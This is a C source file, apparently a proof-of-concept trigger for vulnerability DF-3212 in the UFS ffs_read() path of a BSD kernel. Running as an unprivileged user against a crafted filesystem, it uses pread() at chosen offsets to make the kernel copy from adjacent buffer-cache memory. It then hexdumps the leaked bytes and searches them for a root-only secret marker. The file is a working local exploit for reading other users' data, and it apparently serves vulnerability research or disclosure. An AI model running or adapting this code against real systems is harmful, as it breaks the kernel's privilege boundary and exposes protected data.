DF-3212 / trigger.c
/* * trigger.c - DF-3212 unprivileged OOB-read trigger (read side). * * Run as an unprivileged user against a file on the crafted-qbmask UFS. * Each pread() targets a REAL offset inside the file (offset < i_size), so * on a clean filesystem every one of them must return 512 zero bytes (the * file is all zeros). On the crafted filesystem ffs_read() computes * * blkoffset = uio_offset & fs_qbmask (0x7ffff: up to 524286) * xfersize = bp->b_bufsize - blkoffset (negative!) * if (xfersize > uio_resid) size_t promotion: huge > n * xfersize = uio_resid; clamp to small positive * ... * uiomovebp(bp, bp->b_data + blkoffset, xfersize, uio); * * (sys/vfs/ufs/ufs_readwrite.c:141-155) so the copy reads from * b_data + k*65536 + 0x123 -- k buffer-cache KVA slots (MAXBSIZE, 64KB, * sys/kern/vfs_bio.c:640) past the 8192-byte buffer. Outcomes that are * impossible on a clean fs prove the OOB: * - any non-zero bytes (adjacent slot mapped: leaks OTHER buffers' data) * - -1/EFAULT (adjacent slot unmapped: source fault in uiomove) * * Success criterion: bytes of the root-only marker file appear in buf[]. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #define MARKER "DF3212-ROOT-SECRET-" static void hexdump16(const unsigned char *p, int n){ for (int i = 0; i < n; i += 16) { printf(" %04x ", i); for (int j = 0; j < 16 && i + j < n; j++) printf("%02x ", p[i+j]); printf(" |"); for (int j = 0; j < 16 && i + j < n; j++) printf("%c", (p[i+j] >= 32 && p[i+j] < 127) ? p[i+j] : '.'); printf("|\n"); } } int main(int argc, char **argv){ const char *path = (argc > 1) ? argv[1] : "/mnt/test/leak.bin"; int fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 2; } unsigned char buf[512]; int leaked = 0, nonzero = 0, efault = 0, clean = 0; for (int k = 1; k <= 15; k++) { off_t off = (off_t)k * 0x10000 + 0x123; memset(buf, 0, sizeof buf); errno = 0; ssize_t n = pread(fd, buf, sizeof buf, off); if (n < 0) { printf("k=%2d off=0x%06llx n=-1 errno=%d %s\n", k, (unsigned long long)off, errno, strerror(errno)); if (errno == EFAULT) efault++; continue; } printf("k=%2d off=0x%06llx n=%zd\n", k, (unsigned long long)off, n); int isz = 1; for (ssize_t i = 0; i < n; i++) if (buf[i]) { isz = 0; break; } if (isz) { clean++; continue; } nonzero++; hexdump16(buf, 64); for (ssize_t i = 0; i + 19 <= n; i++) if (memcmp(buf + i, MARKER, 19) == 0) { printf(" *** ROOT-SECRET MARKER FOUND " "at k=%d buf+%zd ***\n", k, i); leaked = 1; break; } } printf("SUMMARY nonzero=%d clean=%d efault=%d LEAK=%d\n", nonzero, clean, efault, leaked); return leaked ? 0 : (nonzero || efault ? 1 : 3); } |